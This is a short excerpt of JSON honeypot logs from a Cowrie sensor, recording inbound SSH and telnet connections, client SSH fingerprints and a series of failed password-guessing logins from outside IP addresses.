{"eventid":"cowrie.login.failed","username":"root","password":"Shadow123","message":"login attempt [root/Shadow123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:00.507548Z","src_ip":"213.209.159.158","session":"c999598c157c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:03.845764Z","src_ip":"213.209.159.158","session":"c999598c157c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35018,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ebea675ab9b","protocol":"ssh","message":"New connection: 213.209.159.158:35018 (10.17.0.5:22) [session: 3ebea675ab9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:03.946860Z"}
{"eventid":"cowrie.session.closed","duration":120.00346732139587,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:05.997026Z","src_ip":"212.55.149.117","session":"e8733151eac2","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:06.213059Z","src_ip":"213.209.159.158","session":"3ebea675ab9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:06.217065Z","src_ip":"213.209.159.158","session":"3ebea675ab9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":11747,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bf54deaf09f","protocol":"telnet","message":"New connection: 212.55.149.117:11747 (10.17.0.5:23) [session: 5bf54deaf09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:06.909672Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.100.145.161","src_port":47031,"dst_ip":"159.203.135.109","dst_port":23,"session":"8db102e71df4","protocol":"telnet","message":"New connection: 149.100.145.161:47031 (159.203.135.109:23) [session: 8db102e71df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:08.089261Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":46856,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd7df505f82","protocol":"ssh","message":"New connection: 27.79.44.54:46856 (159.203.135.109:22) [session: 1fd7df505f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:09.575996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:09.580760Z","src_ip":"27.79.44.54","session":"1fd7df505f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:09.828269Z","src_ip":"27.79.44.54","session":"1fd7df505f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"installer","message":"login attempt [installer/installer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:11.585134Z","src_ip":"27.79.44.54","session":"1fd7df505f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.255.191.13","src_port":42074,"dst_ip":"159.203.135.109","dst_port":23,"session":"22521b18c652","protocol":"telnet","message":"New connection: 131.255.191.13:42074 (159.203.135.109:23) [session: 22521b18c652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:15.385863Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"smiles1","message":"login attempt [root/smiles1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:16.301875Z","src_ip":"213.209.159.158","session":"3ebea675ab9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:17.378743Z","src_ip":"27.79.44.54","session":"1fd7df505f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:19.625738Z","src_ip":"213.209.159.158","session":"3ebea675ab9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50764,"dst_ip":"10.17.0.5","dst_port":22,"session":"91f7a997ab51","protocol":"ssh","message":"New connection: 213.209.159.158:50764 (10.17.0.5:22) [session: 91f7a997ab51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:19.709427Z"}
{"eventid":"cowrie.session.closed","duration":13.232856512069702,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:21.322035Z","src_ip":"149.100.145.161","session":"8db102e71df4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:22.464129Z","src_ip":"213.209.159.158","session":"91f7a997ab51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:22.468277Z","src_ip":"213.209.159.158","session":"91f7a997ab51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexx","message":"login attempt [root/sexx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:32.217950Z","src_ip":"213.209.159.158","session":"91f7a997ab51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:36.008322Z","src_ip":"213.209.159.158","session":"91f7a997ab51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50076,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec68ac111efc","protocol":"ssh","message":"New connection: 213.209.159.158:50076 (10.17.0.5:22) [session: ec68ac111efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:36.130709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:38.421288Z","src_ip":"213.209.159.158","session":"ec68ac111efc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:38.425092Z","src_ip":"213.209.159.158","session":"ec68ac111efc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.177159070968628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:46.562916Z","src_ip":"131.255.191.13","session":"22521b18c652","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sK123456.","message":"login attempt [root/sK123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:48.155129Z","src_ip":"213.209.159.158","session":"ec68ac111efc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:51.606045Z","src_ip":"213.209.159.158","session":"ec68ac111efc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40448,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aa86344b250","protocol":"ssh","message":"New connection: 213.209.159.158:40448 (10.17.0.5:22) [session: 0aa86344b250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:51.701259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:53.990260Z","src_ip":"213.209.159.158","session":"0aa86344b250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:24:53.994158Z","src_ip":"213.209.159.158","session":"0aa86344b250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexsexsex","message":"login attempt [root/sexsexsex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:04.235443Z","src_ip":"213.209.159.158","session":"0aa86344b250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.01311421394348,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:05.922647Z","src_ip":"212.55.149.117","session":"5bf54deaf09f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:07.500890Z","src_ip":"213.209.159.158","session":"0aa86344b250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54560,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef1756411643","protocol":"ssh","message":"New connection: 213.209.159.158:54560 (10.17.0.5:22) [session: ef1756411643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:07.605057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:10.119041Z","src_ip":"213.209.159.158","session":"ef1756411643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:10.124099Z","src_ip":"213.209.159.158","session":"ef1756411643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":58496,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb315cd3c68c","protocol":"ssh","message":"New connection: 108.178.7.34:58496 (10.17.0.5:22) [session: bb315cd3c68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.611600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.616421Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:25:19.644980Z","src_ip":"108.178.7.34","session":"bb315cd3c68c","protocol":"ssh"}
